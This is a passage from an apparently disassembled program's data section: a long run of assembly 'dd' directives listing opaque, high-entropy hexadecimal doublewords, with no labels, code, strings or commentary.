dd 20F872F2h, 2F0438AEh, 59C1C274h, 5EB6B4C7h, 90F304E8h
dd 0A0E282C3h, 29307588h, 9A363052h, 607760DCh, 0A87DC82Fh
dd 20281400h, 0A1AFA40Bh, 946E4CD6h, 87905909h, 0B0A478E5h
dd 8090CA0h, 0A35AC67Dh, 0A0FAA374h, 78840A1Eh, 4B9E421Dh
dd 2380901Fh, 96CA1A74h, 20D2DEh, 5B201F00h, 0A32C5E77h
dd 98486418h, 4688494Fh, 0BECB00A8h, 930964C3h, 1D0535CFh
dd 82922E25h, 0B20744C0h, 0B9E02405h, 0FA850CA0h, 42003B76h
dd 3ECD917Eh, 89EBE8h, 414479C2h, 39A0BE95h, 0E29AEA00h
dd 18D52651h, 0DE3F30A1h, 7B7D0BB8h, 0EAE01060h, 514716h
dd 0C9953184h, 0AD99EEC1h, 0E0A0456Eh, 309ADA6Ah, 0AC702D5h
dd 2FA3F523h, 0F899ECA0h, 981ED1ACh, 9AC9ECBDh, 8B85055h
dd 0DDFAF508h, 0B4F13C00h, 3AA01Dh, 836DF456h, 990AE27Bh
dd 9549B5FAh, 0BA371F80h, 4CC8F035h, 0A54740F2h, 74252C90h
dd 0F4ECA2D2h, 99A85085h, 3B882C00h, 5FD7600h, 2EA18D44h
dd 0F44194Ch, 4AE7321h, 48169A5h, 0A0908071h, 123500B9h
dd 4B6E572Dh, 0B5F419C0h, 40D218BAh, 86994244h, 0D77E0B09h
dd 8300325Ch, 0A82E8F54h, 2A9A2DE1h, 27EC9F78h, 0A01184FEh
dd 718DAh, 0BA965606h, 9FA18677h, 2120B465h, 149A18D0h
dd 0D562827Ah, 8E0C1879h, 58B0D002h, 84041888h, 72B21Bh
dd 0CA491AC9h, 9497009Fh, 9D09086Ah, 759885BEh, 1A205500h
dd 61790FAFh, 0B57C3B90h, 0A4A0805Bh, 0F01E5505h, 0AFCF4834h
dd 35CDC009h, 7CD55714h, 30152E10h, 9D5C4360h, 7C89F288h
dd 0F51B4273h, 0C8E818B2h
dd 3C2B0A8Ah, 0CD3FFF23h, 0DB4AA26h, 24200B72h, 22168620h
dd 104BA98Bh, 484C02E2h, 0CA54C93Ah, 74169867h, 0E1FCA517h
dd 6064645Bh, 920BBA40h, 619A26E0h, 69258F8Ch, 82727C84h
dd 802F0AB8h, 0EE398497h, 955E0034h, 0DA8DFC5Dh, 2101A6FEh
dd 19740B28h, 2080960Ah, 0F506419Dh, 78C00F2Ch, 0E9D7A222h
dd 550A007Bh, 723BA8EDh, 0F44BA1D0h, 3310B001h, 0C8406E45h
dd 0C057BEF5h, 7C780238h, 0C098F98Fh, 14398316h, 321A4C04h
dd 0BC01CD00h, 0FE0F4B22h, 0F3A1116Bh, 91415440h, 0B2701BF5h
dd 6AE134FCh, 4F808818h, 1C36BB80h, 0D53484FDh, 4E01F86Bh
dd 5D73C217h, 0F4087413h, 28918B64h, 123B30F0h, 47B8101Bh
dd 2D66C254h, 860C3C18h, 5E706C20h, 7A1CF013h, 4788EE09h
dd 620005B8h, 550C0800h, 1E1106AEh, 19A13089h, 70A7386Bh
dd 200BEDCCh, 0A26E0F0Dh, 0C0AF4FA8h, 268688B8h, 0BEEC630Eh
dd 5453FD16h, 5C3FECECh, 49891FCh, 0CCD4900Dh, 0D9400408h
dd 228D1C06h, 77A482B1h, 0A0C4E2BCh, 81B8F200h, 7A09D674h
dd 9F942E1Dh, 0D39504FCh, 409CB542h, 0BFE634D0h, 3050CDFEh
dd 0AE3B09C0h, 68B99815h, 0CF7611h, 55692671h, 47BB0421h
dd 9B895D1Fh, 0C498E1D4h, 48213C0h, 0F00EC06h, 0C8718409h
dd 787D5FC1h, 54188440h, 0C8E2C1ABh, 0A0CB5E18h, 209F70EFh
dd 90BA3FF4h, 0FE9E0C01h, 0F41853C1h, 0A0AC0928h, 8172272Fh
dd 0FF95211Ch, 0F770C03Ah, 7D16C39Eh, 0B88C63FDh, 0B91040EFh
dd 7B9A811Eh, 86FE78F1h, 5626306Dh, 62B009Ch, 97D5C01Fh
dd 300877Bh, 0D0C16CD2h, 39BA009h, 55FF746Eh, 0F6B04DF3h
dd 0A90901CCh, 0A04C2A7Dh, 1E5DC10Ch, 0C2463EA3h, 90424105h
dd 2624C003h, 807986D3h, 20E4A15Ch, 9447FC35h, 8EFC8F58h
dd 8A017CBh, 76EAFE21h, 840010E8h, 83F753CDh, 0F00F8E61h
dd 0FC9D0501h, 845A2888h, 0A16CC4E8h, 80FDE308h, 0EFFB9288h
dd 8AB07C3Bh, 0E8449D1Dh, 64FC7E80h, 3B550D01h, 18046FF9h
dd 0F04BA1C6h, 309872B8h, 61093B69h, 6021AC0Ch, 0AC300FD9h
dd 0B93BE85Ah, 210C1314h, 2B2D240h, 17C078FCh, 3E53008h
dd 68A1CAD8h, 0F21EA0CEh, 8D075E5Dh, 0D7CF15D5h, 206C20B1h
dd 0A068F4C5h, 1F00CDC8h, 4272F639h, 0C98C69h, 0B4F2DA9Dh
dd 7A371BFh, 96BA61Ch, 33599641h, 6D305C70h, 0E0809C02h
dd 618C6642h, 0BD0D851Fh, 0D43819A5h, 0CE30812Fh, 87382h
dd 156C2C0Ch, 2789C3E8h, 0DCA0BA2Fh, 0D40A18Bh, 91E0D0D8h
dd 2439094Ah, 38800785h, 0FC5F6656h, 505B096h, 0D4A33192h
dd 4C418041h, 830049C8h, 0E6741B22h, 31E0C0B7h, 753B128Ch
dd 10845484h, 32064400h, 0EC9AA91Ch, 8182C500h, 5C970AD6h
dd 1696005Eh, 0A931FCBEh, 0D0B05F95h, 9A05CC9Ch, 0CC563453h
dd 7CF5F091h, 220BAC3Ch, 0E422C6FAh, 24E4C2AAh, 0EC57C0CAh
dd 0B2573F1Dh, 0A4C8F09Ch, 0B4FC90ACh, 7904168h, 939A03A7h
dd 918044Fh, 0D11B37F5h, 70848508h, 5500FA6Fh, 4439E3F8h
dd 47D89BFh, 141F2C0Bh, 0EC4080C1h, 0E500BB0Ah, 330CA524h
dd 7BD06CC2h, 5D200727h, 6084C1C8h, 8C684278h, 851B3918h
dd 4B50D59h, 0AE7D09C4h, 0F278C0D5h, 6C00C1AFh, 17891CECh
dd 0C0FA10F5h, 0E1328491h, 0D53C5CDEh, 339C1A0Eh, 0BEECD011h
dd 6C1DB000h, 0E1587582h, 9D0D001Ah, 966B3E81h, 1E2805B2h
dd 0D01323F5h, 0BB01A09Ch, 207958h, 1C9766BAh, 2F9A2F45h
dd 5000936Eh, 680FA0F4h, 0B94818B0h, 81020448h, 28F1EF5Dh
dd 9A09B466h, 0B0125088h, 5FEC881h, 0AC982445h, 618E195h
dd 40127864h, 3603D3BBh, 0FC1EAAEEh, 0B30A37Dh, 5817530h
dd 80673825h, 4E51CCA4h, 0A2F6F38h, 9CFE067Dh, 5E229300h
dd 0A35F78D2h, 4365E9A8h, 4FEC19ACh, 2FEFD581h, 0A1C084C0h
dd 78ACAB1Bh, 7DF4A44Ah, 1C037BFFh, 0C1B58985h, 10826BCBh
dd 0D84A188h, 390C9471h, 164259EAh, 0C817F7FEh, 853F13E8h
dd 2904DA1h, 8FD5D12h, 1054D182h, 1037C9F5h, 0B2CF7DC4h
dd 0F1CCA648h, 0A1F0B0F2h, 30645D83h, 58377450h, 0D580C0E8h
dd 2D122EE6h, 0CB400094h, 5CD0DF9h, 5D9F4234h, 0A0800A3h
dd 766CA5Bh, 68ACFC34h, 0B34BFCC1h, 20548510h, 0E50BA701h
dd 0B0C5A199h, 9A86892h, 0B4302DC0h, 0A76292ACh, 6E670318h
dd 0F69A1268h, 2DB0217Bh, 1CF0037h, 0EB490F52h, 20DAE799h
dd 0E07F30C0h, 14980B80h, 8C4E62DAh, 81FAD317h, 640ECCh
dd 0D7B281A1h, 2EC49860h, 0E04C0F43h, 82301410h, 540AC2F4h
dd 0D78E4044h, 30596F9h, 0ADE09A85h, 2A7860A2h, 22D89BC5h
dd 0A12D861Dh, 0C2840291h, 12F07199h, 1B44E45Eh, 0D8CAA02Eh
dd 150530A4h, 0F8E0887Dh, 99980289h, 76D8DAFCh, 0FAB41E0h
dd 0C24A7D27h, 14B4C4F4h, 0A8BC3694h, 7CBA3809h, 2FA82488h
dd 56623438h, 74D930D2h, 406AD470h, 0A8CBC458h, 89340707h
dd 9C4003C5h, 4C9C223Eh, 27C10025h, 0B5127C3Ch, 300F3DA2h
dd 8107C390h, 0F8054099h, 62248020h, 8B7161DBh, 0DC62C0E1h
dd 7D092A02h, 1042EA12h, 128D0B5Ch, 4D706FA1h, 40808354h
dd 0D8F9F40Ch, 0F29A0980h, 518165Dh, 0CEB009BDh, 2482878h
dd 39B00090h, 0ED3CC1FBh, 66C023Eh, 340DA550h, 0FFC050C1h
dd 0A91DABE8h, 0A0303F6Fh, 8971F9AEh, 5D0C177Ch, 0C008D2CBh
dd 0F3004471h, 33E32098h, 3FEE8BEh, 5D2172DCh, 18A666DAh
dd 506C27Ch, 84E5A14Ah, 7C8382C0h, 0F898982Ch, 710BA045h
dd 2BF6D574h, 7D60E0E0h, 4704C91h, 98C025CEh, 4D155589h
dd 8095C33Ch, 5DFB7A0Ah, 0E5645C9h, 9F5B76F5h, 9058E789h
dd 0DA3AA1F8h, 8F613F5Ch, 0E024C5E2h, 0C819178Ah, 0A2071E80h
dd 0BD16000Fh, 0AA08732Bh, 0A67724F0h, 7B8F10C0h, 0F86B07C8h
dd 63F74B4h, 0A677EF2Fh, 2D00215Fh, 0DD7A33D8h, 3CBF230h
dd 3AB344A2h, 0A3C2F8C5h, 0F02D0882h, 0A58014AFh, 75688655h
dd 2C8CAA01h, 0A606237Ch, 589F13DDh, 38D0070h, 0E557983h
dd 6E5EF000h, 95EADBBDh, 8405008Ah, 63AE8F4Ah, 6D00B688h
dd 0E08A216h, 6CCEA1Ah, 6C8A5B75h, 3324A8B2h, 0A6065A25h
dd 0F0605A5Dh, 0D7F02Fh, 52A1721Eh, 6B67C07Eh, 93DA7607h
dd 4834864Eh, 3458D203h, 8272BA0h, 0F20FB205h, 9020A9CAh
dd 341EE88h, 0A63043B7h, 18033F19h, 8A8BAC72h, 8068672Bh
dd 32C04F1Fh, 12A1C8D2h, 0A500F2E6h, 618A24E7h, 181AF6ADh
dd 40AC71A6h, 0CA31D275h, 8AF02897h, 50F267D8h, 253CA2h
dd 0EF065727h, 0CA7AEC5Bh, 320C5E79h, 0B877EE2Dh, 498A192Bh
dd 40D93061h, 1DE0AD1Ch, 0FD20C01h, 0ECB271Fh, 6A6884Ch
dd 9380D684h, 5E4810DEh, 8B441808h, 60BF5280h, 0EA10C826h
dd 41308A2Eh, 80E58B0h, 371FCF9h, 3DB52AB7h, 6D984955h
dd 0A20EB09Ch, 80AFF79Bh, 0F2310CCDh, 0FE63049Dh, 82AD2224h
dd 0D4A1F648h, 0D05FBA62h, 0DB7C1B4Eh, 1842E730h, 41316Ah
dd 0E8A9859Bh, 0B2864557h, 2D36B800h, 244FA5C0h, 9BF21D09h
dd 44B34FA4h, 6323F180h, 720A0142h, 8D92C95h, 0CA52EC00h
dd 0A08A8FAAh, 0A0067394h, 29ABEA88h, 0AA0F02Ch, 629CD622h
dd 8A211AF8h, 0F980BCE1h, 0EDA4AA01h, 911811F2h, 7520D993h
dd 0FD9D80BFh, 86852E03h, 0C02462EBh, 720F79h, 0B3F81438h
dd 0C55DAEABh, 0D52E4709h, 1F7400BBh, 737DA8F3h, 5380813h
dd 51094B7Ah, 5A0407ECh
dd 192BD32h, 24440541h, 4703C884h, 0CED2746Bh, 7C10C6Fh
dd 5E8ABEDh, 280D4F31h, 0E42177B8h, 0E38BF003h, 1293D83Bh
dd 5F7CB2h, 6A43837Eh, 4B4214E7h, 8A2FCA0Fh, 0EDF159EFh
dd 1C1122C4h, 7035D27Ch, 0A9A4F468h, 2780B062h, 0EB24400Fh
dd 0C59CA11Ch, 30728307h, 5F541000h, 0AABF1F5Dh, 0B0560089h
dd 1E5E41A9h, 0EDE81D69h, 74D2D119h, 10FCF258h, 1C6D5868h
dd 0C075FC19h, 5B3FEC53h, 45318AE0h, 0A52D98A4h, 4F3D084h
dd 0B7AA4533h, 543DF020h, 80DE2Fh, 1D232E16h, 9F00723Ah
dd 9E0F76A8h, 308A699Ch, 5F30A631h, 227761E6h, 38076230h
dd 0CF827Dh, 7250F566h, 0F27974C5h, 1728CC00h, 0BA24F45Ch
dd 9DBB2A8Ah, 90A394h, 65B2AA71h, 0A5823B83h, 18B1DB32h
dd 120C6C23h, 50564827h, 1024A0C4h, 397701BCh, 80024305h
dd 0DE9F9249h, 45FB35h, 447BBA2Dh, 0C76A39E2h, 0CDA60400h
dd 2869AE8Eh, 40996694h, 8246934h, 721D70CAh, 1F2DD204h
dd 4B24A00h, 38C9E036h, 0F27C1084h, 33503C9h, 0E6AD8C08h
dd 884A1C2h, 203CC427h, 6B4FB070h, 1353720Dh, 62F84077h
dd 96B20ACAh, 41BC563Eh, 0DC36B62Ah, 0B89277D7h, 12D0C052h
dd 60431166h, 3BE905h, 3C9BFA30h, 9962B554h, 4C5A852Ch
dd 0B02038h, 621BC25h, 0D78A63F5h, 0C681A58h, 28667A39h
dd 0A59A4001h, 0B0A2ED06h, 0EEB8782Ah, 8C88829h, 0B87D6B09h
dd 375C0038h, 30053A57h, 17201BB1h, 5B00404Ch, 13BB8974h
dd 0C2C381F0h, 0A2DD2508h, 0ADE3B440h, 8988090h, 6460B7F0h
dd 0C7D428D0h, 448E8FDh, 0BE8AC6A5h, 434D063h, 0C8F21C66h
dd 5FFE0F03h, 5546B05h, 82766970h, 8ECEC36Ch, 4D6E15F0h
dd 1D061300h, 3C195740h, 53D83444h, 7EF081C1h, 4CD60468h
dd 0B05A7489h, 0F420F314h, 0E2032805h, 4BDA33F0h, 41022B48h
dd 0A5A65B14h, 1AF860C1h, 0FF8A77E0h, 0D2839822h, 0E84DF406h
dd 5098D040h, 0D360A8CCh, 0E3C16160h, 0CCA07B6h, 90CF7ED6h
dd 21BAACFBh, 5E0010B0h, 2A648533h, 6EF1A5ADh, 27EC78BFh
dd 84901B48h, 786EB099h, 34863820h, 909052FEh, 0DDF30554h
dd 5B478C9h, 4CC52D1Ch, 2A2B1C02h, 50BBE00Eh, 0EA9E1271h
dd 0C8E0058Ah, 41F4206Fh, 2C59D27Ah, 0C9720CC4h, 2EA61826h
dd 9D6C7C50h, 0C12300BDh, 0ACA8F46Dh, 285AA00h, 416B71F3h
dd 57FF012Dh, 4ED9B623h, 0F1883037h, 4A509160h, 98B270A9h
dd 3A90B0E0h, 480684B0h, 0D828838Ah, 85803214h, 0AC722C58h
dd 0FD95A643h, 0E449F08Dh, 0EC568C0Bh, 0FD0532Ch, 5098AA7h
dd 0C25F8402h, 0D1A6F0C0h, 47F03641h, 498C998Ah, 5AECE4A8h
dd 2D027C66h, 270C1D9h, 417C6277h, 0BC743234h, 2918378Ah
dd 0D3275028h, 5137552h, 0C48248Dh, 1B21777h, 6D8358ACh
dd 8DEAD831h, 0CCFD8F00h, 8678C088h, 14820F03h, 6FA88A09h
dd 0D7ED3207h, 0FF0B0EE0h, 19D4E064h, 0B883F8D2h, 0E03031ECh
dd 10C01267h, 0FA9F070h, 0A4A53EDFh, 8B132C48h, 64C16DCh
dd 2828EDB8h, 9062605h, 8024B6AAh, 7431E0C5h, 603422D9h
dd 60CA0082h, 8DC407C0h, 1B000DFBh, 0DEB23BE4h, 4FB8AAh
dd 0E23879Ch, 0BF10B5EBh, 7A06A27Eh, 0ECF9DD33h, 98B48C40h
dd 8654A570h, 20B98A0Bh, 9F7EA618h, 49298688h, 30667426h
dd 7513887Dh, 890062ADh, 0DA8BFF2h, 5EC30CEBh, 7780F9Dh
dd 8300D24Ch, 582C0853h, 830018C9h, 72DF6721h, 0C574CC4Eh
dd 1AFD0A00h, 3F89E9E1h, 9E540179h, 53A8D22Ch, 0E94F3178h
dd 98B93Ch, 2D75B48Ch, 253A6786h, 500025A6h, 0ADB3395Dh
dd 84D2AA0Bh, 0CC1C2462h, 26051C88h, 800CE34Dh, 39553E23h
dd 0A50CCD4Eh, 30602BD2h, 74045820h, 45203058h, 2E0ECE01h
dd 0D3FCBF88h, 296A430h, 523165Bh, 24C860D1h, 7B293486h
dd 4A02A488h, 81FC7292h, 0F5F405F8h, 8A5D7882h, 30C8815Ch
dd 0BC055BECh, 0FCD38F3Dh, 49600B82h, 5AF9BE78h, 40E72820h
dd 4CA01B5Dh, 0A8900AB0h, 24B20B20h, 6218020Eh, 25043557h
dd 107A98C0h, 82F0F73Eh, 0A0549211h, 3DEA5C04h, 0B807CAFh
dd 0F25BD476h, 70001BC5h, 0D2796C42h, 0B2ADE925h, 2F1F001Ch
dd 0F02D4748h, 860F5E4Ch, 1DD92531h, 53DA683h, 1890F5C7h
dd 2D3CFF2h, 4B50D1Eh, 90A76457h, 0AA07907Ch, 820C6945h
dd 9066B9D2h, 0A8277B29h, 0B82A74D0h, 0D59D2448h, 0C2C40398h
dd 30E7C3EAh, 0D27E8690h, 387A8A30h, 26055E80h, 5209867h
dd 1006235Ch, 4E84C0D4h, 0C74918Bh, 43C34AAh, 9C5B040h
dd 2D3F1CE3h, 0A7115880h, 344C22F7h, 87F5008Ch, 508A59E2h
dd 8C3094B5h, 0ABC922FAh, 7499357Bh, 0DD941980h, 98AC68D2h
dd 7AEA3EB4h, 9505F4Eh, 7C214426h, 76EE2CA9h, 0CB284C68h
dd 86BC8117h, 0B42308ADh, 0EB150509h, 76631C00h, 0BC2EE601h
dd 620347A1h, 3CDE308Ah, 56923C40h, 77B8882Ah, 13F4AC48h
dd 0E830897Ch, 30D273A0h, 9E914702h, 0E69DD85h, 25448771h
dd 0A4A4B8BAh, 6A0FA08h, 58C7FD8Eh, 0F53780Dh, 0DC604137h
dd 0D9417B2h, 0ACBC20EFh, 90B28AB4h, 0EA2F3301h, 3F133E75h
dd 37ED8BE1h, 9040D477h, 1A80807Ch, 1D2FCA12h, 861F7446h
dd 20A09008h, 0AC06D184h, 0C44E8AE8h, 6EE0A098h, 6FA01F37h
dd 0FAA58612h, 7605584Ch, 27408A5Eh, 74870D6h, 0F1AE51C3h
dd 1F04601Bh, 148AF8Ah, 0E14C50A4h, 0BC202901h, 43A5A42Ah
dd 5A37864h, 0FE26AB81h, 0A6448C70h, 2BB90D20h, 9681727h
dd 40995F4h, 94007C29h, 3FD0DC9Dh, 5E02A616h, 0CCF1604Ah
dd 705260ACh, 749B00h, 44063022h, 1060AA8Ah, 5B7B35B0h
dd 0B95C3B0Bh, 5370C07h, 0AA50BCFEh, 0A4CAB51Dh, 0ED0DA080h
dd 5340E90h, 0A5A22AC0h, 55BC93BEh, 0C8060FA8h, 35AD120Bh
dd 20180A05h, 5828A068h, 7E887A1Ch, 38239FC0h, 59E30Eh
dd 7083F109h, 17BFD622h, 6446102Eh, 0C5E090E9h, 39480F2Bh
dd 4C202D7Ch, 88140764h, 897BBD00h, 84D7D2AFh, 4A5A2A8Ah
dd 260C7AD4h, 1E3CE7C4h, 197C1A0Bh, 20E97442h, 6E890157h
dd 0F268B080h, 9176E7A4h, 0F4D598A0h, 5F153901h, 0ED2CA172h
dd 9C830844h, 0BA510068h, 0B361BD0Fh, 0E02674Ah, 865C5E10h
dd 27A8E0C9h, 172901BCh, 0F26CF79Ch, 435D8D0h, 86799001h
dd 76DC6428h, 7C68E020h, 0C5660195h, 97A61ED5h, 13B0423Ch
dd 0D994C4E0h, 101A0F24h, 8AF4ACC7h, 0F53BFCF0h, 0C00845h
dd 1E0EC686h, 0CB65C454h, 0C4229B01h, 8040CF04h, 0B0140C0h
dd 8A6890BAh, 0D024D94Fh, 800B81Bh, 518CC627h, 72FE1600h
dd 0AF4697Fh, 3FB0A9CBh, 11FB089Ch, 4DBD5D03h, 0E855A378h
dd 24BAF056h, 120B7C9h, 3E45DFD6h, 8D61708Eh, 348208A2h
dd 0EA034275h, 837EA099h, 0A9740224h, 9C5A2B1Ch, 0DCD61A60h
dd 8AECF117h, 208E3871h, 98F8260Bh, 0DC706700h, 40C8D1E5h
dd 4CF9EC33h, 0C23E0C20h, 8C6A2C0Fh, 4AB2009h, 18C81FB4h
dd 4275A2Dh, 974E9318h, 7A109CD0h, 0A02BFD40h, 22633B4h
dd 53619F8h, 9C4850F2h, 90005982h, 2D4E17C3h, 1FB76D2h
dd 0C4EA70FCh, 0A6511204h, 2E939C28h, 8E01188Bh, 0FE0B6817h
dd 783423A5h, 390244B1h, 71551305h, 0DE1B0450h, 601CA0F8h
dd 12CF6740h, 15DF65Eh, 0E63B04C0h, 84A0818Eh, 15C5A3D0h
dd 9BC7F8E0h, 827D00F4h, 297F5056h, 80A5F239h, 0C57B0ECBh
dd 78A61AF5h, 1A896E4h
dd 0FCE35E5h, 986C2033h, 77C96F04h, 4384DBDDh, 0D1800981h
dd 0C1074032h, 0E1203DA2h, 30898B12h, 24FD0415h, 0E4AC3270h
dd 0C4E234Bh, 10C4D537h, 0A9120301h, 0FC80492Dh, 34FB00C1h
dd 0AFF2D258h, 0A810E4A3h, 0DD0BD4CEh, 300CECE6h, 7F007EE1h
dd 0AAF19C9Fh, 9ED91AFh, 0E20F77CEh, 45DA4480h, 9400AEC9h
dd 0E386AAE0h, 0C0476304h, 0E1255160h, 0A30E2B34h, 8013782Ch
dd 0CE2F3562h, 0D27D0938h, 3880F18Bh, 0F9C4FABDh, 0F7A60C0Ch
dd 7DB043h, 533B92B2h, 9AD61FC7h, 8998EA01h, 0ED4D263h
dd 57BCF881h, 0E06DED70h, 2A00541Fh, 8CAA823Eh, 4A71E40h
dd 0D1F66625h, 451495D8h, 8182C060h, 107E5DCh, 4820B812h
dd 31675A10h, 75E353ACh, 9A1ADCDCh, 53ACCA0h, 0CEA4B24h
dd 0BFB5AC0Fh, 6C161FD2h, 4119180Ch, 72B204BBh, 546DAD2h
dd 0DC393B26h, 860B4466h, 8983C65h, 251D617Fh, 0DD8EA727h
dd 90013378h, 3B3D126h, 1FB99C30h, 0D3EE6Dh, 0C6A9F9ADh
dd 0DC31A641h, 0E51B5068h, 7213420h, 5750F2Ch, 4061ADCFh
dd 68628680h, 0D2A4C604h, 240116ABh, 78569627h, 0E0E7C900h
dd 30D27930h, 9FB90C88h, 0EB03FB0Dh, 1CE8AD4Ch, 0B8A9D09Ch
dd 13ED7179h, 4168E1Bh, 4739F994h, 0A9A4D21Dh, 0A6293880h
dd 0D83D4C71h, 2468C1D2h, 0B4AACC06h, 44B489Ch, 4882F870h
dd 87787167h, 4B558705h, 721A5446h, 0A35012B7h, 124A830h
dd 5A76B519h, 0A44B1F8Ah, 0C26D440h, 5D1B867h, 0EC40DC16h
dd 599B0B5Ah, 6E1700ADh, 0D4C0933Eh, 190E50CEh, 83F35484h
dd 0C2368D27h, 209CF806h, 2DF4CAABh, 9977F005h, 0F400DAB2h
dd 55B05F06h, 0D6537805h, 57500068h, 0A6036CCAh, 0B797E20h
dd 1A5D5372h, 2ED2F498h, 429CB150h, 0C3DCCC00h, 0B27ABB88h
dd 97A53098h, 0E7F52DC9h, 62B48E01h, 2F6A0F2h, 0DECDC140h
dd 75A6181Dh, 0AB386152h, 9A70A515h, 3B6050F4h, 0B5523090h
dd 0B403EBCh, 99CFF2CCh, 247CD488h, 7B50828Eh, 7889F0B6h
dd 242084CAh, 58411C80h, 0B2561868h, 7A5DE8ADh, 0D72DE707h
dd 0F60483Ah, 2520C3C5h, 702BFE66h, 811E9C90h, 304EA02Eh
dd 25077B00h, 0F0D8FD72h, 313D09ACh, 44E187A5h, 8A97FC35h
dd 0D8C5A92Ah, 7B89BC60h, 0B35AEC5Fh, 69278464h, 0D46CF267h
dd 0C68A13A2h, 30E9C8C7h, 253B25D4h, 38381F27h, 20CD4A44h
dd 0E9E06880h, 0B4F8804Ch, 0B2867802h, 40600711h, 0F668F48Eh
dd 0D5FD3E12h, 5AAAA100h, 627E0DBAh, 800E5C3Ah, 83D3FE54h
dd 0B0462A72h, 563F884h, 0BB8A598Dh, 2610800Ch, 8B404ACh
dd 4CCB414Eh, 0A4248B10h, 58E55DA6h, 6C910A7Eh, 0C0ABC7h
dd 7388A51Eh, 0DCB8185Eh, 5A9CD000h, 0BD2D2AD8h, 0CA1A0058h
dd 4D22621h, 4C7CFE0Ch, 2282D600h, 99F25194h, 55F40B6Ch
dd 0B880DD10h, 338F200Eh, 80AACB38h, 7D733291h, 28FC8E66h
dd 9808B9A9h, 93ECE1BCh, 51589612h, 2E050C8Ch, 6FD46BBAh
dd 85F81904h, 58C88194h, 84283992h, 0CC140B86h, 1E9A5012h
dd 0D5374990h, 0F2F05C44h, 0CA116667h, 0EC0FF38Eh, 0D8CA122Fh
dd 0CCEC2D17h, 1BE0CFF4h, 0EA00387Ch, 73CA48C5h, 501D428h
dd 5529225h, 0B2E8D061h, 0EC5E0D99h, 44B9F022h, 6DA61038h
dd 0C4274A1Eh, 77B8E218h, 2D1294FAh, 0D00498A3h, 5600658Ch
dd 75524725h, 0AE7EB2EEh, 8D37FE05h, 0E4007861h, 28EF5107h
dd 68D5002Dh, 7230BB3Eh, 0ED502CD1h, 0A851F208h, 29D46114h
dd 0A6220414h, 0DC93BEC4h, 0AFD4E107h, 1B384072h, 0D2980D04h
dd 27A4E085h, 0EA526C98h, 0D5291494h, 0BAAD1218h, 340A8457h
dd 0A5048C7Ch, 7B0035F1h, 0C132D688h, 91EA5602h, 0AB189C04h
dd 2F0840A0h, 812B070Dh, 69398A5Dh, 553D7802h, 0B00918F9h
dd 75AC8635h, 0A6250881h, 25BE09B6h, 50646A1Bh, 2627F000h
dd 0CA742649h, 93F9EE4h, 104876CBh, 34B0EE10h, 84D08A44h
dd 510E8613h, 540CC8h, 0C87E1136h, 8040B1AAh, 0A679B704h
dd 94D0B8DAh, 44F7DEDh, 0BF8A1737h, 0EA5C1D72h, 0AD71F100h
dd 17CB4EF3h, 45EB9DBh, 143B533Ch, 9BC800A4h, 0E40E44E9h
dd 60FC753Ch, 0E6EB18D1h, 8D1CB81Ch, 6E85691Eh, 0E8D0B3EFh
dd 0B98EF359h, 0EA5B8E5Ch, 0DE0104E3h, 8CAB181Fh, 39BC2E82h
dd 0F88E007h, 30C6807Fh, 0B801D6F8h, 0B6AB098Eh, 0A6F175CBh
dd 975C452Bh, 89C4000Bh, 81F86DFEh, 0C8A9057Fh, 2E482464h
dd 0C20B08EAh, 23D0725Ch, 0F88037C0h, 0A6543C95h, 34853BE0h
dd 0C77D586h, 0F04E60BAh, 0EF890C1Dh, 80C8CCB5h, 0B0EBE1D4h
dd 4C55B04Ch, 0EE84B4DCh, 0CDF2008Eh, 506F0DB7h, 511AAC83h
dd 419DA8A6h, 19325E58h, 71B48168h, 0D9984ACh, 60532EF0h
dd 1D04A67Ch, 0EA2618C0h, 0C0D5D723h, 8AC3AD91h, 1297650Bh
dd 83581A10h, 0E4AA0EE0h, 12209088h, 1EC936A6h, 81D286B0h
dd 4E02183Dh, 1BE3D653h, 2028D006h, 2739C313h, 175164B6h
dd 18D8E8C1h, 48489473h, 62C4D72Ch, 0CE019CCAh, 72E02C0Dh
dd 3910C97Dh, 6773CC78h, 80C4D119h, 54741F30h, 0F3A61223h
dd 0D65840A1h, 390441A5h, 68B98803h, 92C1AEAAh, 2F86067h
dd 1244B92Fh, 0EBD88038h, 7E2904BEh, 3F00A034h, 0A61007C4h
dd 0DD8C408Ah, 4C57472Ch, 94B80844h, 683E4577h, 480E979Ch
dd 87412A51h, 108EAA00h, 1322B386h, 1CB190Eh, 0E3D214A3h
dd 1F3C327Fh, 34C40939h, 28A8C025h, 57711801h, 437D12D3h
dd 111317F0h, 7C993FB4h, 0E659060h, 0DCAAB169h, 9F3E8A22h
dd 8E51D456h, 4CF0BBE1h, 0A2F9A066h, 4240C030h, 9B1277C0h
dd 5EC83756h, 0B5B1400h, 999A97Bh, 0A8053774h, 8AF8A858h
dd 68237737h, 90D1FF80h, 4338C471h, 49D883C4h, 545A482Ch
dd 6E63A387h, 0F74E602Eh, 2F300ABDh, 0FCB0A208h, 25F3D805h
dd 0BA07E8B0h, 26BCFCBCh, 0DE00A0B9h, 0D2D12E2Bh, 586E5D6Dh
dd 47056005h, 0F4CC849Fh, 98E0D23Ch, 0B48810C0h, 17CCF92Ch
dd 459332h, 755449BCh, 74A0516h, 0E353F080h, 767D003Dh
dd 0D1FC9C1Ah, 60C054A9h, 0F0010E36h, 4C8E0725h, 4A58B12h
dd 122CB310h, 7431AE53h, 0D180ACD2h, 0E26607Fh, 89070FC2h
dd 20FBF054h, 41C0EB80h, 0D2DE0AD1h, 94E43303h, 7D8584CBh
dd 1AC42353h, 51583000h, 90AA6AC0h, 4298010Ch, 0A9E3663Bh
dd 0E0840B8h, 29D25903h, 4C9C1055h, 60819624h, 59D20828h
dd 0A3A66150h, 0ED80806Ch, 553E6BD5h, 21DD02E3h, 7AEFAB0h
dd 2BF1D896h, 8A605402h, 0E2A0C8E7h, 0A748B47Bh, 48A09C07h
dd 6BAA509h, 1282107h, 8313752Dh, 0F0E3AE38h, 5C9232D3h
dd 7C6BEF3Ah, 8CAA641Dh, 1C637183h, 0B4A9E18Eh, 70E0840h
dd 5E29C06Ch, 759C3FBEh, 3AA6740Dh, 0FC7270A4h, 2444EC88h
dd 8A3834F4h, 131ADCC0h, 5B8480h, 424D62F0h, 0B42A76B7h
dd 48AA0724h, 90119C48h, 4D0602Eh, 0C76088Ah, 1E1B2866h
dd 802F05CEh, 808407AFh, 649EA2A5h, 0AC117217h, 0FDA0120h
dd 0FCCA5B42h, 50726020h, 1232E0DDh, 0AB870D2h, 18BC64h
dd 2363D8Ah, 0E35BAD45h, 0DFD26804h, 4E78E4ECh, 55890CCh
dd 98970A08h, 0B0B5164h, 62D283E8h, 0FF4EE0C0h, 75F4C60Eh
